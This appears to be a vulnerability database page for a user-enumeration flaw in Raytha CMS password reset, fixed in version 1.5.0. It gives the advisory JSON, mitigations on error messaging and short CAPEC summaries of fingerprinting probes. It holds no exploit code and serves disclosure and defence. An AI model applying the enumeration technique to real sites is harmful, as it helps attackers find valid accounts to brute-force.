Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 21:34Raytha CMS is vulnerable to User Enumeration in password reset functionality. Difference in messages could allow an attacker to determine if the login is valid or not, enabling a brute force attack with valid logins.
This issue was fixed in version 1.5.0.
{
"affected": [],
"aliases": [
"CVE-2025-69243"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:18:01Z",
"severity": "MODERATE"
},
"details": "Raytha CMS is vulnerable to User Enumeration in password reset functionality. Difference in messages could allow an attacker to determine if the login is valid or not, enabling a brute force attack with valid logins.\n\nThis issue was fixed in version 1.5.0.",
"id": "GHSA-hhx9-gc5w-h4mc",
"modified": "2026-03-16T21:34:32Z",
"published": "2026-03-16T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69243"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/03/CVE-2025-69236"
},
{
"type": "WEB",
"url": "https://raytha.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
CAPEC-331: ICMP IP Total Length Field Probe
An adversary sends a UDP packet to a closed port on the target machine to solicit an IP Header's total length field value within the echoed 'Port Unreachable" error message. This type of behavior is useful for building a signature-base of operating system responses, particularly when error messages contain other types of information that is useful identifying specific operating system responses.
CAPEC-332: ICMP IP 'ID' Field Error Message Probe
An adversary sends a UDP datagram having an assigned value to its internet identification field (ID) to a closed port on a target to observe the manner in which this bit is echoed back in the ICMP error message. This allows the attacker to construct a fingerprint of specific OS behaviors.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.